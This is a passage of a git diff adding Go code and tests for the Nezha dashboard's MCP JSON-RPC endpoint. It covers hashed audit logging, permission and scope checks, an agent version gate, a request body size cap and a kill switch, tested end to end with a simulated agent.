outcome，避免审计/SIEM 把 + // “管理员关了 MCP”误报成 agent 故障；错误文本透传原始原因。 + return model.MCPOutcomeMCPDisabled, err.Error() + } + return model.MCPOutcomeAgentError, err.Error() +} + +// extractServerID 从 raw arguments JSON 里提取 server_id（best-effort，只用于审计字段）。 +func extractServerID(raw json.RawMessage) uint64 { + if len(raw) == 0 { + return 0 + } + var probe struct { + ServerID uint64 `json:"server_id"` + } + _ = json.Unmarshal(raw, &probe) + return probe.ServerID +} + +func truncateString(s string, max int) string { + if len(s) <= max { + return s + } + return s[:max] +} + +// --- wire writers --- + +func writeJSONRPCResult(c *gin.Context, id json.RawMessage, result any) { + c.JSON(http.StatusOK, jsonRPCResponse{ + JSONRPC: "2.0", + ID: id, + Result: result, + }) +} + +func writeJSONRPCError(c *gin.Context, id json.RawMessage, code int, message string) { + writeJSONRPCErrorWithStatus(c, id, code, message, http.StatusOK) +} + +func writeToolCallError(c *gin.Context, id json.RawMessage, errCode, errMsg string) { + writeJSONRPCResult(c, id, mcpToolCallResult{ + Content: []mcpContent{{Type: "text", Text: errMsg}}, + IsError: true, + StructuredContent: map[string]string{ + "error_code": errCode, + "error": errMsg, + }, + }) +} + +func writeJSONRPCErrorWithStatus(c *gin.Context, id json.RawMessage, code int, message string, status int) { + c.JSON(status, jsonRPCResponse{ + JSONRPC: "2.0", + ID: id, + Error: &jsonRPCError{Code: code, Message: message}, + }) +} + +// --- 错误语义 --- + +// mcpError 是 tool handler 可以返回的语义化错误。 +// dispatch 根据 Code 决定 audit outcome 与 JSON-RPC 错误码（如果命中 rpcErr* 域）。 +type mcpError struct { + Code string + Msg string +} + +func (e *mcpError) Error() string { return e.Msg } + +func newMCPError(code, msg string) *mcpError { return &mcpError{Code: code, Msg: msg} } + +// 预制错误 +var ( + errMCPInvalidArgs = func(s string) *mcpError { return newMCPError(model.MCPOutcomeInvalidArgs, s) } + errMCPPermDenied = newMCPError(model.MCPOutcomePermDenied, "permission denied") + errMCPScopeDenied = func(s string) *mcpError { + return newMCPError(model.MCPOutcomeScopeDenied, "missing required scope: "+s) + } + errMCPServerOffline = newMCPError(model.MCPOutcomeServerOffline, "agent offline") + errMCPAgentTimeout = newMCPError(model.MCPOutcomeAgentTimeout, "agent did not respond within timeout") + errMCPUnsupported = newMCPError(model.MCPOutcomeUnsupportedAgent, "agent does not support this MCP capability; please upgrade the agent") +) + +// --- 共用工具 --- + +var errNoToken = errors.New("no api token in context") + +// decodeToolArgs 是 tool handler 用来反序列化 arguments 的辅助。 +func decodeToolArgs(raw json.RawMessage, out any) error { + if len(raw) == 0 { + return nil + } + if err := json.Unmarshal(raw, out); err != nil { + return fmt.Errorf("invalid arguments: %w", err) + } + return nil +} + +// requireServerAccess 是 tool handler 共用的「闸 1 + 闸 2 服务器白名单」组合校验。 +// 通过返回 *model.Server；失败返回带语义 Code 的 mcpError，便于 dispatch 归类审计。 +func requireServerAccess(c *gin.Context, serverID uint64) (*model.Server, error) { + if serverID == 0 { + return nil, errMCPInvalidArgs("server_id required") + } + tok := APITokenFromContext(c) + if tok != nil && !tok.CanAccessServer(serverID) { + return nil, errMCPPermDenied + } + server, _ := singleton.ServerShared.Get(serverID) + if server == nil { + return nil, errMCPServerOffline + } + if !server.HasPermission(c) { + return nil, errMCPPermDenied + } + return server, nil +} diff --git a/cmd/dashboard/controller/mcp_audit.go b/cmd/dashboard/controller/mcp_audit.go new file mode 100644 index 00000000..6a6048a9 --- /dev/null +++ b/cmd/dashboard/controller/mcp_audit.go @@ -0,0 +1,48 @@ +package controller + +import ( + "crypto/sha256" + "encoding/hex" + "log" + "time" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// mcpAuditWrite 异步写一条 MCP 审计日志。失败仅 log，不阻塞业务。 +// +// argsBytes：tool 的 raw JSON 参数（dispatcher 已经反序列化过）。 +// 只记录 sha256 全文哈希，不保留任何明文片段：server.exec 的 env/stdin、 +// fs.write 的 content 等字段会包含 token、密码、密钥、文件内容等敏感数据， +// 任何长度的 peek 都可能让审计表本身成为 secret 仓库；以哈希做关联即可。 +// +// 测试可以把 mcpAuditSync 置为 true 让写入同步，避免 goroutine 与测试 teardown +// 形成竞态（不同测试 swap 全局 singleton.DB 时尤其明显）。 +func mcpAuditWrite(entry model.MCPAuditLog, argsBytes []byte) { + if len(argsBytes) > 0 { + sum := sha256.Sum256(argsBytes) + entry.ArgsHash = hex.EncodeToString(sum[:]) + } + entry.ArgsPeek = "" + if entry.CreatedAt.IsZero() { + entry.CreatedAt = time.Now() + } + db := singleton.DB + write := func(e model.MCPAuditLog) { + if db == nil { + return + } + if err := db.Create(&e).Error; err != nil { + log.Printf("NEZHA>> mcp audit write failed: %v", err) + } + } + if mcpAuditSync { + write(entry) + return + } + go write(entry) +} + +// mcpAuditSync 仅供测试切换为同步写入，生产保持 false。 +var mcpAuditSync = false diff --git a/cmd/dashboard/controller/mcp_body_limit_test.go b/cmd/dashboard/controller/mcp_body_limit_test.go new file mode 100644 index 00000000..addfce33 --- /dev/null +++ b/cmd/dashboard/controller/mcp_body_limit_test.go @@ -0,0 +1,72 @@ +package controller + +import ( + "bytes" + "net/http" + "net/http/httptest" + "strings" + "testing" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// H7 regression: the MCP endpoint must cap incoming JSON-RPC body size +// BEFORE decoding. Without this, a valid PAT can post a multi-GB body and +// the dashboard exhausts memory in ShouldBindJSON. We assert the body +// reader is wrapped in http.MaxBytesReader; the exact error path the +// decoder takes is irrelevant as long as the cap is enforced. +func TestMCPEndpoint_BodyIsCappedByMaxBytesReader(t *testing.T) { + prevConf := singleton.Conf + cfg := &model.Config{} + cfg.SetMCPEnabled(true) + singleton.Conf = &singleton.ConfigClass{Config: cfg} + t.Cleanup(func() { singleton.Conf = prevConf }) + + tok := &model.APIToken{ID: 1, ScopesCSV: "nezha:server:read"} + // 16 MiB of valid-JSON whitespace prefix forces the decoder to actually + // stream past the limit, exercising MaxBytesReader. + body := `{"jsonrpc":"2.0","id":1,"method":"initialize","params":"` + + strings.Repeat("x", mcpJSONRPCMaxBodyBytes+1024) + `"}` + req := httptest.NewRequest(http.MethodPost, "/mcp", bytes.NewBufferString(body)) + req.Header.Set("Content-Type", "application/json") + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = req + c.Set(apiTokenCtxKey, tok) + c.Set(model.CtxKeyAPIToken, tok) + + mcpEndpoint(c) + + if !strings.Contains(w.Body.String(), "request body") && + w.Code != http.StatusRequestEntityTooLarge { + t.Fatalf("oversized body must be rejected with a body-size error, got code=%d body=%s", + w.Code, w.Body.String()) + } +} + +func TestMCPEndpoint_AcceptsSmallBody(t *testing.T) { + prevConf := singleton.Conf + cfg := &model.Config{} + cfg.SetMCPEnabled(true) + singleton.Conf = &singleton.ConfigClass{Config: cfg} + t.Cleanup(func() { singleton.Conf = prevConf }) + + tok := &model.APIToken{ID: 1, ScopesCSV: "nezha:server:read"} + body := `{"jsonrpc":"2.0","id":1,"method":"initialize"}` + req := httptest.NewRequest(http.MethodPost, "/mcp", bytes.NewBufferString(body)) + req.Header.Set("Content-Type", "application/json") + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = req + c.Set(apiTokenCtxKey, tok) + c.Set(model.CtxKeyAPIToken, tok) + + mcpEndpoint(c) + + if w.Code != http.StatusOK { + t.Fatalf("small valid body must succeed, got code=%d body=%s", w.Code, w.Body.String()) + } +} diff --git a/cmd/dashboard/controller/mcp_capability.go b/cmd/dashboard/controller/mcp_capability.go new file mode 100644 index 00000000..a6411418 --- /dev/null +++ b/cmd/dashboard/controller/mcp_capability.go @@ -0,0 +1,71 @@ +package controller + +import ( + "strings" + + "github.com/nezhahq/nezha/model" +) + +// MCPMinAgentVersion 是支持 MCP 的最低 agent 版本。 +// +// release 流程：在 agent ship 了 MCP handlers 后，把此值更新为该 release 的版本号。 +// 不变量：必须为非空。否则旧 agent 收到 TaskTypeExec/TaskTypeFs* 等新任务类型时 +// 走 default 分支不回 TaskResult，dashboard 要等 CallAgent 超时（30s）甚至更久 +// （fs.transfer 的 IOStream attach 30s）才能感知，这是 server-transfer 已经 +// 通过 MinServerTransferAgentVersion 修复过的同类问题。 +const MCPMinAgentVersion = "v2.1.0" + +// requireAgentSupportsMCP 在 tool handler 调 CallAgent 之前快速失败不支持的 agent。 +// 仅作为 UX 优化：真正的安全/正确性由 agent 端 task switch 的 default 分支保障。 +func requireAgentSupportsMCP(server *model.Server) error { + if MCPMinAgentVersion == "" || server == nil { + return nil + } + runtime := server.RuntimeSnapshot() + if runtime.Host == nil { + return nil + } + if compareSemver(runtime.Host.Version, MCPMinAgentVersion) < 0 { + return errMCPUnsupported + } + return nil +} + +// compareSemver 比较两个 "MAJOR.MINOR.PATCH[-suffix]" 字符串，返回 -1/0/1。 +// semverParts 已剥掉可选的 "v" 前缀与 "-/+" 后缀，所以只按三段数字定序： +// 数字段相等即视为相等版本。绝不能回退到字符串字典序——agent 上报 "2.1.0" +// 而门槛常量是 "v2.1.0"，'2'(0x32) < 'v'(0x76) 会把相等版本误判为更旧， +// 导致所有 agent 被错误地判为不支持 MCP。 +func compareSemver(a, b string) int { + aparts := semverParts(a) + bparts := semverParts(b) + for i := 0; i < 3; i++ { + if aparts[i] < bparts[i] { + return -1 + } + if aparts[i] > bparts[i] { + return 1 + } + } + return 0 +} + +func semverParts(v string) [3]int { + v = strings.TrimPrefix(v, "v") + if i := strings.IndexAny(v, "-+"); i >= 0 { + v = v[:i] + } + var out [3]int + parts := strings.Split(v, ".") + for i := 0; i < 3 && i < len(parts); i++ { + n := 0 + for _, c := range parts[i] { + if c < '0' || c > '9' { + break + } + n = n*10 + int(c-'0') + } + out[i] = n + } + return out +} diff --git a/cmd/dashboard/controller/mcp_capability_test.go b/cmd/dashboard/controller/mcp_capability_test.go new file mode 100644 index 00000000..41d04f91 --- /dev/null +++ b/cmd/dashboard/controller/mcp_capability_test.go @@ -0,0 +1,77 @@ +package controller + +import ( + "errors" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" +) + +// 旧 agent 不识别 TaskTypeExec/TaskTypeFs* 等新 task type，会走 default +// 分支不回 TaskResult；dashboard 必须在调 CallAgent 之前依据 Host.Version +// 快速失败，否则用户要等到 30s/24h timeout 才知道 agent 不支持。 +// MinServerTransferAgentVersion 已为同类问题在 transfer 路径上确立了 +// release-time 必填的版本下限——这里把 MCP 也纳入同一不变量。 +func TestMCPMinAgentVersionIsPinnedToRelease(t *testing.T) { + require.NotEmpty(t, MCPMinAgentVersion, + "MCPMinAgentVersion must be set to the lowest agent build that ships MCP handlers; an empty string disables the gate and lets old agents hang dashboard requests until timeout") +} + +func TestRequireAgentSupportsMCPRejectsBelowMinVersion(t *testing.T) { + old := &model.Server{Host: &model.Host{Version: "v0.0.1"}} + err := requireAgentSupportsMCP(old) + require.Error(t, err, "agents older than MCPMinAgentVersion must be rejected before CallAgent") + require.True(t, errors.Is(err, errMCPUnsupported) || err.Error() == errMCPUnsupported.Error(), + "expected the errMCPUnsupported sentinel, got %v", err) +} + +func TestRequireAgentSupportsMCPAcceptsCurrentVersion(t *testing.T) { + current := &model.Server{Host: &model.Host{Version: MCPMinAgentVersion}} + require.NoError(t, requireAgentSupportsMCP(current), + "server reporting exactly MCPMinAgentVersion must be accepted") +} + +// 钉住「最近一个不带 MCP handler 的已发布 agent tag (v2.0.4) 必须被拒绝」。 +// v2.0.4 的 model/task.go 还没有 TaskTypeExec/TaskTypeFs* 常量，cmd/agent/ +// mcp_handlers.go 也不存在；如果版本门槛把它放行，dashboard 调 MCP tool +// 后 agent 会走 default 分支不回 TaskResult，CallAgent 必须等 30s 超时。 +func TestRequireAgentSupportsMCPRejectsLastReleaseWithoutMCP(t *testing.T) { + noMCP := &model.Server{Host: &model.Host{Version: "v2.0.4"}} + err := requireAgentSupportsMCP(noMCP) + require.Error(t, err, + "v2.0.4 is the latest released agent tag that ships *without* MCP handlers; bumping MCPMinAgentVersion below the first MCP release re-introduces the silent-timeout bug") + require.True(t, errors.Is(err, errMCPUnsupported) || err.Error() == errMCPUnsupported.Error(), + "expected the errMCPUnsupported sentinel, got %v", err) +} + +func TestRequireAgentSupportsMCPDefersWhenAgentNeverReported(t *testing.T) { + require.NoError(t, requireAgentSupportsMCP(&model.Server{Host: nil}), + "Host==nil means agent never reported its build; defer the version decision to the CallAgent timeout layer") +} + +func TestCompareSemverIgnoresVPrefixMismatch(t *testing.T) { + cases := []struct { + a, b string + want int + }{ + {"2.1.0", "v2.1.0", 0}, + {"v2.1.0", "2.1.0", 0}, + {"2.1.0", "2.1.0", 0}, + {"2.1.0", "v2.1.1", -1}, + {"v2.1.2", "2.1.0", 1}, + {"2.2.0", "v2.1.9", 1}, + } + for _, c := range cases { + require.Equalf(t, c.want, compareSemver(c.a, c.b), + "compareSemver(%q,%q): the only difference is the optional 'v' prefix and/or numeric ordering; "+ + "a bare lexical fallback wrongly orders %q < %q", c.a, c.b, c.a, c.b) + } +} + +func TestRequireAgentSupportsMCPAcceptsBarePrefixReport(t *testing.T) { + agent := &model.Server{Host: &model.Host{Version: "2.1.0"}} + require.NoError(t, requireAgentSupportsMCP(agent), + "agents report Host.Version without the 'v' prefix (e.g. \"2.1.0\"); it must compare equal to MCPMinAgentVersion \"v2.1.0\" and be accepted") +} diff --git a/cmd/dashboard/controller/mcp_classify_disabled_test.go b/cmd/dashboard/controller/mcp_classify_disabled_test.go new file mode 100644 index 00000000..7fe651fa --- /dev/null +++ b/cmd/dashboard/controller/mcp_classify_disabled_test.go @@ -0,0 +1,28 @@ +package controller + +import ( + "testing" + + "github.com/stretchr/testify/assert" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" +) + +// classifyToolError 必须把 rpc.ErrMCPDisabled 归类成 forbidden 类 outcome，而不是 +// 当作 agent_error。 +// +// ErrMCPDisabled 是 dashboard 主动按下 kill switch 的语义信号（见 +// service/rpc/mcp_rpc.go 注释），controller 把它揉进 agent_error 等于把“管理员 +// 关了 MCP”和“agent 真出故障”混在一起：审计日志、SIEM 告警和 MCP 客户端的 +// structuredContent.error_code 都会错配。 +func TestClassifyToolError_MCPDisabledMapsToForbidden(t *testing.T) { + code, msg := classifyToolError(rpc.ErrMCPDisabled) + + assert.Equal(t, model.MCPOutcomeMCPDisabled, code, + "rpc.ErrMCPDisabled must map to MCPOutcomeMCPDisabled, not agent_error") + assert.NotEqual(t, model.MCPOutcomeAgentError, code, + "kill-switch errors must not be reported as agent_error in audit/SIEM") + assert.Contains(t, msg, "MCP is disabled", + "error text should preserve the kill switch reason") +} diff --git a/cmd/dashboard/controller/mcp_enable_flag_test.go b/cmd/dashboard/controller/mcp_enable_flag_test.go new file mode 100644 index 00000000..d404d3ad --- /dev/null +++ b/cmd/dashboard/controller/mcp_enable_flag_test.go @@ -0,0 +1,96 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "path/filepath" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// installTestConfig swaps singleton.Conf with one backed by a tmp file so +// updateConfig's Conf.Save() write-through has a real target. The caller's +// setupMCPTest will restore the original Conf when its cleanup runs. +func installTestConfig(t *testing.T) { + t.Helper() + dir := t.TempDir() + cfg := &model.Config{} + require.NoError(t, cfg.Read(filepath.Join(dir, "config.yaml"), nil)) + singleton.Conf = &singleton.ConfigClass{Config: cfg} +} + +func TestUpdateConfig_PersistsEnableMCPFlag(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + installTestConfig(t) + + origTemplates := singleton.FrontendTemplates + singleton.FrontendTemplates = []model.FrontendTemplate{ + {Path: "user-dist", IsAdmin: false}, + } + defer func() { singleton.FrontendTemplates = origTemplates }() + + gin.SetMode(gin.TestMode) + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, uid, model.RoleAdmin) + c.Next() + }) + r.PATCH("/api/v1/setting", commonHandler(updateConfig)) + + body := map[string]any{ + "site_name": "test", + "language": "en_US", + "user_template": "user-dist", + "enable_mcp": true, + } + raw, _ := json.Marshal(body) + req := httptest.NewRequest(http.MethodPatch, "/api/v1/setting", bytes.NewReader(raw)) + req.Header.Set("Content-Type", "application/json") + w := httptest.NewRecorder() + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + require.True(t, success, "PATCH /setting must succeed: %s", errMsg) + require.True(t, singleton.Conf.EnableMCP, + "enable_mcp=true in body must flip singleton.Conf.EnableMCP") +} + +func TestMCPEndpoint_RefusesWhenDisabled(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + singleton.Conf.SetMCPEnabled(false) + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "initialize", + }) + mcpEndpoint(c) + var env jsonRPCResponse + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &env)) + require.NotNil(t, env.Error, "MCP must return JSON-RPC error when disabled; body=%s", w.Body.String()) + require.Equal(t, rpcErrForbidden, env.Error.Code, + "disabled MCP must surface as rpcErrForbidden so callers can distinguish from auth failure") +} + +func TestMCPEndpoint_AllowsWhenEnabled(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + singleton.Conf.SetMCPEnabled(true) + + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "initialize", + }) + mcpEndpoint(c) + var env jsonRPCResponse + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &env)) + require.Nil(t, env.Error, "MCP must process requests when enabled; got error=%+v", env.Error) +} diff --git a/cmd/dashboard/controller/mcp_end_to_end_test.go b/cmd/dashboard/controller/mcp_end_to_end_test.go new file mode 100644 index 00000000..43dcdfb1 --- /dev/null +++ b/cmd/dashboard/controller/mcp_end_to_end_test.go @@ -0,0 +1,433 @@ +package controller + +import ( + "bytes" + "context" + "encoding/base64" + "encoding/binary" + "encoding/json" + "io" + "net" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "strings" + "sync" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + "google.golang.org/grpc/metadata" + + "github.com/nezhahq/nezha/model" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +type e2eStream struct { + mu sync.Mutex + dispatch func(*pb.Task) *pb.TaskResult +} + +func (s *e2eStream) Send(t *pb.Task) error { + // fs.upload_url / fs.download_url 走 IOStream 路径，由独立 mux 处理； + // 这里的 RPC-style dispatch 只覆盖 fs.read/fs.write/fs.list/fs.delete/server.exec。 + if t.GetType() == model.TaskTypeFsTransfer { + return e2eHandleFsTransfer(t) + } + s.mu.Lock() + d := s.dispatch + s.mu.Unlock() + if d == nil { + return nil + } + go func(task *pb.Task) { + if res := d(task); res != nil { + rpc.DeliverMCPResultForTest(res) + } + }(t) + return nil +} + +// e2eHandleFsTransfer 模拟真实 agent 收到 TaskTypeFsTransfer：把本地文件 +// 系统作为后端，按 op 跑完整协议帧并复制字节。和真 agent 不同： +// - 不做 sha256 强校验（测试侧用 NZTO 中的 32 字节固定 0 占位）。 +// - 复用 net.Pipe + rpc.NezhaHandlerSingleton.AgentConnected 注入 dashboard 端。 +func e2eHandleFsTransfer(t *pb.Task) error { + var req model.FsTransferRequest + if err := json.Unmarshal([]byte(t.GetData()), &req); err != nil { + return err + } + dashboardSide, agentSide := net.Pipe() + if err := rpc.NezhaHandlerSingleton.AgentConnected(req.StreamID, dashboardSide); err != nil { + return err + } + go func() { + defer agentSide.Close() + switch req.Op { + case model.MCPFsTransferOpDownload: + data, err := os.ReadFile(req.Path) + if err != nil { + buf := append([]byte(nil), model.MCPFsXferMagicErr...) + buf = append(buf, err.Error()...) + _, _ = agentSide.Write(buf) + return + } + hdr := append([]byte(nil), model.MCPFsXferMagicDownloadHdr...) + sz := make([]byte, 8) + binary.BigEndian.PutUint64(sz, uint64(len(data))) + hdr = append(hdr, sz...) + hdr = append(hdr, make([]byte, 32)...) + if _, err := agentSide.Write(hdr); err != nil { + return + } + if len(data) > 0 { + chunk := append([]byte(nil), model.MCPFsXferMagicChunk...) + chunkLen := make([]byte, 8) + binary.BigEndian.PutUint64(chunkLen, uint64(len(data))) + chunk = append(chunk, chunkLen...) + chunk = append(chunk, data...) + if _, err := agentSide.Write(chunk); err != nil { + return + } + } + ok := append([]byte(nil), model.MCPFsXferMagicOK...) + ok = append(ok, sz...) + ok = append(ok, make([]byte, 32)...) + _, _ = agentSide.Write(ok) + case model.MCPFsTransferOpUpload: + hdr := append([]byte(nil), model.MCPFsXferMagicUploadHdr...) + sz := make([]byte, 8) + binary.BigEndian.PutUint64(sz, uint64(req.Size)) + hdr = append(hdr, sz...) + if _, err := agentSide.Write(hdr); err != nil { + return + } + buf := make([]byte, req.Size) + if req.Size > 0 { + if _, err := io.ReadFull(agentSide, buf); err != nil { + return + } + } + if err := os.WriteFile(req.Path, buf, 0o644); err != nil { + errBuf := append([]byte(nil), model.MCPFsXferMagicErr...) + errBuf = append(errBuf, err.Error()...) + _, _ = agentSide.Write(errBuf) + return + } + ok := append([]byte(nil), model.MCPFsXferMagicOK...) + okSz := make([]byte, 8) + binary.BigEndian.PutUint64(okSz, uint64(len(buf))) + ok = append(ok, okSz...) + ok = append(ok, make([]byte, 32)...) + _, _ = agentSide.Write(ok) + } + }() + return nil +} + +func (s *e2eStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled } +func (s *e2eStream) SetHeader(metadata.MD) error { return nil } +func (s *e2eStream) SendHeader(metadata.MD) error { return nil } +func (s *e2eStream) SetTrailer(metadata.MD) {} +func (s *e2eStream) Context() context.Context { return context.Background() } +func (s *e2eStream) SendMsg(any) error { return nil } +func (s *e2eStream) RecvMsg(any) error { return context.Canceled } + +func agentSim(task *pb.Task) *pb.TaskResult { + res := &pb.TaskResult{Id: task.GetId(), Type: task.GetType(), Successful: true} + switch task.GetType() { + case model.TaskTypeFsList: + var req model.FsListRequest + _ = json.Unmarshal([]byte(task.GetData()), &req) + entries, err := os.ReadDir(req.Path) + if err != nil { + b, _ := json.Marshal(model.FsListResult{Error: err.Error()}) + res.Data = string(b) + return res + } + out := make([]model.FsEntry, 0, len(entries)) + for _, e := range entries { + info, _ := e.Info() + out = append(out, model.FsEntry{Name: e.Name(), Type: "file", Size: info.Size()}) + } + b, _ := json.Marshal(model.FsListResult{Entries: out, Total: len(out)}) + res.Data = string(b) + case model.TaskTypeFsRead: + var req model.FsReadRequest + _ = json.Unmarshal([]byte(task.GetData()), &req) + data, err := os.ReadFile(req.Path) + if err != nil { + b, _ := json.Marshal(model.FsReadResult{Error: err.Error()}) + res.Data = string(b) + return res + } + encoding := req.Encoding + if encoding == "" { + encoding = "utf8" + } + var content string + switch encoding { + case "base64": + content = base64.StdEncoding.EncodeToString(data) + default: + content = string(data) + } + b, _ := json.Marshal(model.FsReadResult{Content: content, Encoding: encoding, Size: int64(len(data))}) + res.Data = string(b) + case model.TaskTypeFsWrite: + var req model.FsWriteRequest + _ = json.Unmarshal([]byte(task.GetData()), &req) + data := []byte(req.Content) + if req.Encoding == "base64" { + decoded, decErr := base64.StdEncoding.DecodeString(req.Content) + if decErr != nil { + b, _ := json.Marshal(model.FsWriteResult{Error: decErr.Error()}) + res.Data = string(b) + return res + } + data = decoded + } + _ = os.WriteFile(req.Path, data, 0o644) + b, _ := json.Marshal(model.FsWriteResult{Size: int64(len(data))}) + res.Data = string(b) + case model.TaskTypeFsDelete: + var req model.FsDeleteRequest + _ = json.Unmarshal([]byte(task.GetData()), &req) + _ = os.RemoveAll(req.Path) + b, _ := json.Marshal(model.FsDeleteResult{DeletedCount: 1}) + res.Data = string(b) + case model.TaskTypeExec: + b, _ := json.Marshal(model.ExecResult{ExitCode: 0, Stdout: "simulated"}) + res.Data = string(b) + default: + res.Successful = false + res.Data = "unsupported task" + } + return res +} + +func setupEndToEnd(t *testing.T) (*httptest.Server, string, func()) { + t.Helper() + cleanupBase, uid := setupMCPTest(t) + + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + + stream := &e2eStream{dispatch: agentSim} + srv, _ := singleton.ServerShared.Get(7) + srv.SetTaskStream(stream) + + prevCleanup := cleanupBase + cleanupBase = func() { + rpc.NezhaHandlerSingleton = originalHandler + prevCleanup() + } + + _, plain := mkToken(t, uid, []string{ + model.ScopeInventoryRead, + model.ScopeInventoryDelete, + model.ScopeServerRead, + model.ScopeServerExec, + model.ScopeServerWrite, + model.ScopeServerDelete, + }, nil) + + gin.SetMode(gin.TestMode) + r := gin.New() + r.POST("/mcp", apiTokenAuthMiddleware(), mcpEndpoint) + r.GET("/mcp/download/:token", transferDownloadHandler) + r.POST("/mcp/upload/:token", transferUploadHandler) + ts := httptest.NewServer(r) + + return ts, plain, func() { + ts.Close() + cleanupBase() + } +} + +func e2eCall(t *testing.T, ts *httptest.Server, token, method, toolName string, args any) map[string]any { + t.Helper() + body := map[string]any{"jsonrpc": "2.0", "id": 1, "method": method} + if method == "tools/call" { + argsRaw, _ := json.Marshal(args) + body["params"] = map[string]any{"name": toolName, "arguments": json.RawMessage(argsRaw)} + } + b, _ := json.Marshal(body) + req, _ := http.NewRequest("POST", ts.URL+"/mcp", bytes.NewReader(b)) + req.Header.Set("Authorization", "Bearer "+token) + req.Header.Set("Content-Type", "application/json") + resp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + defer resp.Body.Close() + out, _ := io.ReadAll(resp.Body) + var env map[string]any + require.NoError(t, json.Unmarshal(out, &env)) + return env +} + +func TestE2E_Initialize(t *testing.T) { + ts, tok, cleanup := setupEndToEnd(t) + defer cleanup() + env := e2eCall(t, ts, tok, "initialize", "", nil) + require.Nil(t, env["error"]) + info := env["result"].(map[string]any)["serverInfo"].(map[string]any) + require.Equal(t, "nezha-mcp", info["name"]) +} + +func TestE2E_ToolsList(t *testing.T) { + ts, tok, cleanup := setupEndToEnd(t) + defer cleanup() + env := e2eCall(t, ts, tok, "tools/list", "", nil) + require.Nil(t, env["error"]) + tools := env["result"].(map[string]any)["tools"].([]any) + require.GreaterOrEqual(t, len(tools), 9) +} + +func TestE2E_WhoamiAndServerList(t *testing.T) { + ts, tok, cleanup := setupEndToEnd(t) + defer cleanup() + + env := e2eCall(t, ts, tok, "tools/call", "meta.whoami", map[string]any{}) + res := env["result"].(map[string]any) + require.False(t, res["isError"] == true) + + env = e2eCall(t, ts, tok, "tools/call", "server.list", map[string]any{}) + res = env["result"].(map[string]any) + require.False(t, res["isError"] == true) +} + +func TestE2E_ServerExec(t *testing.T) { + ts, tok, cleanup := setupEndToEnd(t) + defer cleanup() + env := e2eCall(t, ts, tok, "tools/call", "server.exec", map[string]any{ + "server_id": 7, "cmd": "echo", + }) + res := env["result"].(map[string]any) + require.False(t, res["isError"] == true, "exec failed: %v", res) + struc := res["structuredContent"].(map[string]any) + require.Equal(t, "simulated", struc["stdout"]) +} + +func TestE2E_FsLifecycle(t *testing.T) { + ts, tok, cleanup := setupEndToEnd(t) + defer cleanup() + dir := t.TempDir() + p := filepath.Join(dir, "e2e.txt") + + env := e2eCall(t, ts, tok, "tools/call", "fs.write", map[string]any{ + "server_id": 7, "path": p, "content": "ohi", "encoding": "utf8", + }) + require.False(t, env["result"].(map[string]any)["isError"] == true) + + env = e2eCall(t, ts, tok, "tools/call", "fs.read", map[string]any{"server_id": 7, "path": p}) + res := env["result"].(map[string]any) + struc := res["structuredContent"].(map[string]any) + require.Equal(t, "ohi", struc["content"]) + + env = e2eCall(t, ts, tok, "tools/call", "fs.delete", map[string]any{"server_id": 7, "path": p}) + require.False(t, env["result"].(map[string]any)["isError"] == true) +} + +func TestE2E_DownloadUploadURL(t *testing.T) { + ts, tok, cleanup := setupEndToEnd(t) + defer cleanup() + dir := t.TempDir() + p := filepath.Join(dir, "blob.txt") + require.NoError(t, os.WriteFile(p, []byte("payload"), 0o644)) + + env := e2eCall(t, ts, tok, "tools/call", "fs.download_url", map[string]any{ + "server_id": 7, "path": p, "ttl_seconds": 60, + }) + res := env["result"].(map[string]any) + require.False(t, res["isError"] == true, "download_url failed: %v", res) + url := res["structuredContent"].(map[string]any)["url"].(string) + url = ts.URL + url[strings.Index(url, "/mcp/"):] + resp, err := http.Get(url) + require.NoError(t, err) + defer resp.Body.Close() + require.Equal(t, 200, resp.StatusCode) + body, _ := io.ReadAll(resp.Body) + require.Equal(t, "payload", string(body)) + + upPath := filepath.Join(dir, "up.txt") + env = e2eCall(t, ts, tok, "tools/call", "fs.upload_url", map[string]any{ + "server_id": 7, "path": upPath, "ttl_seconds": 60, + }) + res = env["result"].(map[string]any) + require.False(t, res["isError"] == true) + upURL := res["structuredContent"].(map[string]any)["url"].(string) + upURL = ts.URL + upURL[strings.Index(upURL, "/mcp/"):] + + upReq, _ := http.NewRequest("POST", upURL, bytes.NewReader([]byte("hello-upload"))) + upResp, err := http.DefaultClient.Do(upReq) + require.NoError(t, err) + defer upResp.Body.Close() + require.Equal(t, 200, upResp.StatusCode) + got, _ := os.ReadFile(upPath) + require.Equal(t, "hello-upload", string(got)) +} + +// TestE2E_DownloadUploadURL_100MiB 走完整 mint→IOStream→relay 路径，验证 